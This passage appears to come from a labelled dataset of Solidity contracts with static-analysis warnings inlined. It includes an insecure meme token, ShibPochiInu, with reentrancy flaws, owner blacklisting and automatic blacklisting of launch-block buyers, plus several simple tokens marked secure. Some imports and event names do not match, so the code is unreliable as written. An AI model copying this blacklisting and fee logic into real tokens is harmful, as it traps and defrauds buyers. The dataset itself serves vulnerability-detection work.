"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ShibPochiInu is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n address public immutable uniswapV2Pair;\n\n bool private swapping;\n\n address public marketingWallet;\n address public devWallet;\n\n uint256 public maxTransactionAmount;\n uint256 public swapTokensAtAmount;\n uint256 public maxWallet;\n\n bool public limitsInEffect = true;\n bool public tradingActive = true;\n bool public swapEnabled = false;\n bool public enableEarlySellTax = true;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n mapping(address => uint256) private _holderFirstBuyTimestamp;\n\n mapping(address => bool) private _blacklist;\n bool public transferDelayEnabled = true;\n\n uint256 public buyTotalFees;\n uint256 public buyMarketingFee;\n uint256 public buyLiquidityFee;\n uint256 public buyDevFee;\n\n uint256 public sellTotalFees;\n uint256 public sellMarketingFee;\n uint256 public sellLiquidityFee;\n uint256 public sellDevFee;\n\n uint256 public earlySellLiquidityFee;\n uint256 public earlySellMarketingFee;\n uint256 public earlySellDevFee;\n\n uint256 public tokensForMarketing;\n uint256 public tokensForLiquidity;\n uint256 public tokensForDev;\n\n uint256 launchedAt;\n\n mapping(address => bool) private _isExcludedFromFees;\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event MarketingWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event DevWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n event AutoNukeLP();\n\n event ManualNukeLP();\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 787773a): ShibPochiInu.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 787773a: Rename the local variables that shadow another component.\n constructor() ERC20(\"ShibPochi Inu\", \"SHIBPOCHI\") {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 _buyMarketingFee = 6;\n uint256 _buyLiquidityFee = 6;\n uint256 _buyDevFee = 6;\n\n uint256 _sellMarketingFee = 8;\n uint256 _sellLiquidityFee = 8;\n uint256 _sellDevFee = 8;\n\n uint256 _earlySellLiquidityFee = 8;\n uint256 _earlySellMarketingFee = 8;\n uint256 _earlySellDevFee = 8;\n\n uint256 totalSupply = 1 * 1e12 * 1e18;\n\n maxTransactionAmount = (totalSupply * 20) / 1000;\n maxWallet = (totalSupply * 80) / 1000;\n swapTokensAtAmount = (totalSupply * 10) / 10000;\n\n buyMarketingFee = _buyMarketingFee;\n buyLiquidityFee = _buyLiquidityFee;\n buyDevFee = _buyDevFee;\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;\n\n sellMarketingFee = _sellMarketingFee;\n sellLiquidityFee = _sellLiquidityFee;\n sellDevFee = _sellDevFee;\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n\n earlySellLiquidityFee = _earlySellLiquidityFee;\n earlySellMarketingFee = _earlySellMarketingFee;\n earlySellDevFee = _earlySellDevFee;\n\n marketingWallet = address(owner());\n devWallet = address(owner());\n\n excludeFromFees(owner(), true);\n excludeFromFees(address(this), true);\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n excludeFromMaxTransaction(address(this), true);\n excludeFromMaxTransaction(address(0xdead), true);\n\n _mint(msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function enableTrading() external onlyOwner {\n tradingActive = true;\n swapEnabled = true;\n launchedAt = block.number;\n }\n\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n return true;\n }\n\n function disableTransferDelay() external onlyOwner returns (bool) {\n transferDelayEnabled = false;\n return true;\n }\n\n function setEarlySellTax(bool onoff) external onlyOwner {\n enableEarlySellTax = onoff;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2c7e500): ShibPochiInu.updateSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for 2c7e500: Emit an event for critical parameter changes.\n function updateSwapTokensAtAmount(\n uint256 newAmount\n ) external onlyOwner returns (bool) {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n require(\n newAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\t\t// events-maths | ID: 2c7e500\n swapTokensAtAmount = newAmount;\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 92b0381): ShibPochiInu.updateMaxTxnAmount(uint256) should emit an event for maxTransactionAmount = newNum * (10 ** 18) \n\t// Recommendation for 92b0381: Emit an event for critical parameter changes.\n function updateMaxTxnAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set maxTransactionAmount lower than 0.1%\"\n );\n\t\t// events-maths | ID: 92b0381\n maxTransactionAmount = newNum * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 1b5829e): ShibPochiInu.updateMaxWalletAmount(uint256) should emit an event for maxWallet = newNum * (10 ** 18) \n\t// Recommendation for 1b5829e: Emit an event for critical parameter changes.\n function updateMaxWalletAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 5) / 1000) / 1e18,\n \"Cannot set maxWallet lower than 0.5%\"\n );\n\t\t// events-maths | ID: 1b5829e\n maxWallet = newNum * (10 ** 18);\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function updateSwapEnabled(bool enabled) external onlyOwner {\n swapEnabled = enabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 362266c): Missing events for critical arithmetic parameters.\n\t// Recommendation for 362266c: Emit an event for critical parameter changes.\n function updateBuyFees(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _devFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 362266c\n buyMarketingFee = _marketingFee;\n\t\t// events-maths | ID: 362266c\n buyLiquidityFee = _liquidityFee;\n\t\t// events-maths | ID: 362266c\n buyDevFee = _devFee;\n\t\t// events-maths | ID: 362266c\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;\n require(buyTotalFees <= 20, \"Must keep fees at 20% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ef47853): Missing events for critical arithmetic parameters.\n\t// Recommendation for ef47853: Emit an event for critical parameter changes.\n function updateSellFees(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _devFee,\n uint256 _earlySellLiquidityFee,\n uint256 _earlySellMarketingFee,\n uint256 _earlySellDevFee\n ) external onlyOwner {\n\t\t// events-maths | ID: ef47853\n sellMarketingFee = _marketingFee;\n\t\t// events-maths | ID: ef47853\n sellLiquidityFee = _liquidityFee;\n\t\t// events-maths | ID: ef47853\n sellDevFee = _devFee;\n\t\t// events-maths | ID: ef47853\n earlySellLiquidityFee = _earlySellLiquidityFee;\n\t\t// events-maths | ID: ef47853\n earlySellMarketingFee = _earlySellMarketingFee;\n\t\t// events-maths | ID: ef47853\n earlySellDevFee = _earlySellDevFee;\n\t\t// events-maths | ID: ef47853\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n require(sellTotalFees <= 25, \"Must keep fees at 25% or less\");\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n emit ExcludeFromFees(account, excluded);\n }\n\n function blacklistAccount(\n address account,\n bool isBlacklisted\n ) public onlyOwner {\n _blacklist[account] = isBlacklisted;\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a302fc3): ShibPochiInu.updateMarketingWallet(address).newMarketingWallet lacks a zerocheck on \t marketingWallet = newMarketingWallet\n\t// Recommendation for a302fc3: Check that the address is not zero.\n function updateMarketingWallet(\n address newMarketingWallet\n ) external onlyOwner {\n emit marketingWalletUpdated(newMarketingWallet, marketingWallet);\n\t\t// missing-zero-check | ID: a302fc3\n marketingWallet = newMarketingWallet;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c60bff1): ShibPochiInu.updateDevWallet(address).newWallet lacks a zerocheck on \t devWallet = newWallet\n\t// Recommendation for c60bff1: Check that the address is not zero.\n function updateDevWallet(address newWallet) external onlyOwner {\n emit devWalletUpdated(newWallet, devWallet);\n\t\t// missing-zero-check | ID: c60bff1\n devWallet = newWallet;\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n event BoughtEarly(address indexed sniper);\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: a54f4df): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for a54f4df: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e611ebf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e611ebf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: c37c3d9): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for c37c3d9: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: cfe3454): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for cfe3454: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: be80dcd): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for be80dcd: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ab2b299): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for ab2b299: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c11d67b): ShibPochiInu._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(sellTotalFees).div(100) tokensForDev += (fees * sellDevFee) / sellTotalFees\n\t// Recommendation for c11d67b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2a626bd): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 2a626bd: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9027f43): ShibPochiInu._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(buyTotalFees).div(100) tokensForDev += (fees * buyDevFee) / buyTotalFees\n\t// Recommendation for 9027f43: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1f63789): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1f63789: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(\n !_blacklist[to] && !_blacklist[from],\n \"You have been blacklisted from transfering tokens\"\n );\n if (amount == 0) {\n super._transfer(from, to, 0);\n return;\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (transferDelayEnabled) {\n if (\n to != owner() &&\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t\t// tx-origin | ID: c37c3d9\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n if (\n block.number <= (launchedAt + 1) &&\n to != uniswapV2Pair &&\n to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)\n ) {\n _blacklist[to] = true;\n }\n\n bool isBuy = from == uniswapV2Pair;\n if (!isBuy && enableEarlySellTax) {\n if (\n\t\t\t\t// timestamp | ID: a54f4df\n _holderFirstBuyTimestamp[from] != 0 &&\n (_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)\n ) {\n sellLiquidityFee = earlySellLiquidityFee;\n sellMarketingFee = earlySellMarketingFee;\n sellDevFee = earlySellDevFee;\n sellTotalFees =\n sellMarketingFee +\n sellLiquidityFee +\n sellDevFee;\n } else {\n sellLiquidityFee = 4;\n sellMarketingFee = 4;\n sellTotalFees =\n sellMarketingFee +\n sellLiquidityFee +\n sellDevFee;\n }\n } else {\n if (_holderFirstBuyTimestamp[to] == 0) {\n _holderFirstBuyTimestamp[to] = block.timestamp;\n }\n\n if (!enableEarlySellTax) {\n sellLiquidityFee = 4;\n sellMarketingFee = 4;\n sellDevFee = 4;\n sellTotalFees =\n sellMarketingFee +\n sellLiquidityFee +\n sellDevFee;\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: e611ebf\n\t\t\t// reentrancy-eth | ID: 1f63789\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: 1f63789\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: be80dcd\n\t\t\t\t// divide-before-multiply | ID: ab2b299\n\t\t\t\t// divide-before-multiply | ID: c11d67b\n fees = amount.mul(sellTotalFees).div(100);\n\t\t\t\t// divide-before-multiply | ID: be80dcd\n\t\t\t\t// reentrancy-eth | ID: 1f63789\n tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;\n\t\t\t\t// divide-before-multiply | ID: c11d67b\n\t\t\t\t// reentrancy-eth | ID: 1f63789\n tokensForDev += (fees * sellDevFee) / sellTotalFees;\n\t\t\t\t// divide-before-multiply | ID: ab2b299\n\t\t\t\t// reentrancy-eth | ID: 1f63789\n tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: cfe3454\n\t\t\t\t// divide-before-multiply | ID: 2a626bd\n\t\t\t\t// divide-before-multiply | ID: 9027f43\n fees = amount.mul(buyTotalFees).div(100);\n\t\t\t\t// divide-before-multiply | ID: 2a626bd\n\t\t\t\t// reentrancy-eth | ID: 1f63789\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\t\t\t\t// divide-before-multiply | ID: 9027f43\n\t\t\t\t// reentrancy-eth | ID: 1f63789\n tokensForDev += (fees * buyDevFee) / buyTotalFees;\n\t\t\t\t// divide-before-multiply | ID: cfe3454\n\t\t\t\t// reentrancy-eth | ID: 1f63789\n tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: e611ebf\n\t\t\t\t// reentrancy-eth | ID: 1f63789\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: e611ebf\n\t\t// reentrancy-eth | ID: 1f63789\n super._transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 1adf843): ShibPochiInu.swapTokensForEth(uint256) has external calls inside a loop path[1] = uniswapV2Router.WETH()\n\t// Recommendation for 1adf843: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: b4825c4): ShibPochiInu.swapTokensForEth(uint256) has external calls inside a loop uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp)\n\t// Recommendation for b4825c4: Favor pull over push strategy for external calls.\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n\t\t// calls-loop | ID: 1adf843\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 58f9cb0\n\t\t// reentrancy-events | ID: e611ebf\n\t\t// reentrancy-benign | ID: 96bf9ca\n\t\t// calls-loop | ID: b4825c4\n\t\t// reentrancy-no-eth | ID: 6325076\n\t\t// reentrancy-eth | ID: 1f63789\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 3d2d1e5): ShibPochiInu.addLiquidity(uint256,uint256) has external calls inside a loop uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,address(this),block.timestamp)\n\t// Recommendation for 3d2d1e5: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5993ea4): ShibPochiInu.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,address(this),block.timestamp)\n\t// Recommendation for 5993ea4: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 58f9cb0\n\t\t// reentrancy-events | ID: e611ebf\n\t\t// reentrancy-benign | ID: 96bf9ca\n\t\t// calls-loop | ID: 3d2d1e5\n\t\t// unused-return | ID: 5993ea4\n\t\t// reentrancy-eth | ID: 1f63789\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 58f9cb0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 58f9cb0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 96bf9ca): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 96bf9ca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: a7329e0): ShibPochiInu.swapBack() has external calls inside a loop (success,None) = address(marketingWallet).call{value address(this).balance}()\n\t// Recommendation for a7329e0: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: b8347ae): ShibPochiInu.swapBack() has external calls inside a loop (success,None) = address(devWallet).call{value ethForDev}()\n\t// Recommendation for b8347ae: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 6325076): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 6325076: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n uint256 totalTokensToSwap = tokensForLiquidity +\n tokensForMarketing +\n tokensForDev;\n bool success;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 20) {\n contractBalance = swapTokensAtAmount * 20;\n }\n\n uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /\n totalTokensToSwap /\n 2;\n uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-events | ID: 58f9cb0\n\t\t// reentrancy-benign | ID: 96bf9ca\n\t\t// reentrancy-no-eth | ID: 6325076\n swapTokensForEth(amountToSwapForETH);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(\n totalTokensToSwap\n );\n uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);\n uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;\n\n\t\t// reentrancy-no-eth | ID: 6325076\n tokensForLiquidity = 0;\n\t\t// reentrancy-no-eth | ID: 6325076\n tokensForMarketing = 0;\n\t\t// reentrancy-no-eth | ID: 6325076\n tokensForDev = 0;\n\n\t\t// reentrancy-events | ID: 58f9cb0\n\t\t// reentrancy-events | ID: e611ebf\n\t\t// reentrancy-benign | ID: 96bf9ca\n\t\t// calls-loop | ID: b8347ae\n\t\t// reentrancy-eth | ID: 1f63789\n (success, ) = address(devWallet).call{value: ethForDev}(\"\");\n\n if (liquidityTokens > 0 && ethForLiquidity > 0) {\n\t\t\t// reentrancy-events | ID: 58f9cb0\n\t\t\t// reentrancy-benign | ID: 96bf9ca\n addLiquidity(liquidityTokens, ethForLiquidity);\n\t\t\t// reentrancy-events | ID: 58f9cb0\n emit SwapAndLiquify(\n amountToSwapForETH,\n ethForLiquidity,\n tokensForLiquidity\n );\n }\n\n\t\t// reentrancy-events | ID: e611ebf\n\t\t// calls-loop | ID: a7329e0\n\t\t// reentrancy-eth | ID: 1f63789\n (success, ) = address(marketingWallet).call{\n value: address(this).balance\n }(\"\");\n }\n\n function Chire(\n address[] calldata recipients,\n uint256[] calldata values\n ) external onlyOwner {\n _approve(owner(), owner(), totalSupply());\n for (uint256 i = 0; i < recipients.length; i++) {\n transferFrom(\n msg.sender,\n recipients[i],\n values[i] * 10 ** decimals()\n );\n }\n }\n}",
"file_name": "solidity_code_2696.sol",
"secure": 0,
"size_bytes": 29192
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Token is ERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a19c0f7): Token._totalSupply should be immutable \n\t// Recommendation for a19c0f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 38489ce): Token._decimals should be immutable \n\t// Recommendation for 38489ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n string private _name;\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 03c8222): Token._owner should be immutable \n\t// Recommendation for 03c8222: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _owner;\n\n constructor() {\n _symbol = \"RLABS\";\n _name = \"Rocket Labs to the Moon Coin\";\n _decimals = 6;\n _totalSupply = 10000000000000;\n _owner = payable(msg.sender);\n _balances[_owner] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][msg.sender];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, msg.sender, currentAllowance - amount);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_2697.sol",
"secure": 1,
"size_bytes": 4162
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ProxyRegistry.sol\" as ProxyRegistry;\n\ncontract BaseOpenSea {\n string private _contractURI;\n ProxyRegistry private _proxyRegistry;\n\n function contractURI() public view returns (string memory) {\n return _contractURI;\n }\n\n function isOwnersOpenSeaProxy(\n address owner,\n address operator\n ) public view returns (bool) {\n ProxyRegistry proxyRegistry = _proxyRegistry;\n return\n address(proxyRegistry) != address(0) &&\n address(proxyRegistry.proxies(owner)) == operator;\n }\n\n function _setContractURI(string memory contractURI_) internal {\n _contractURI = contractURI_;\n }\n\n function _setOpenSeaRegistry(address proxyRegistryAddress) internal {\n _proxyRegistry = ProxyRegistry(proxyRegistryAddress);\n }\n}",
"file_name": "solidity_code_2698.sol",
"secure": 1,
"size_bytes": 901
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract WLTH {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 25dcebd): WLTH.tokenTotalSupply should be immutable \n\t// Recommendation for 25dcebd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n\n string private tokenName;\n\n string private tokenSymbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b15b44e): WLTH.xxnux should be immutable \n\t// Recommendation for b15b44e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 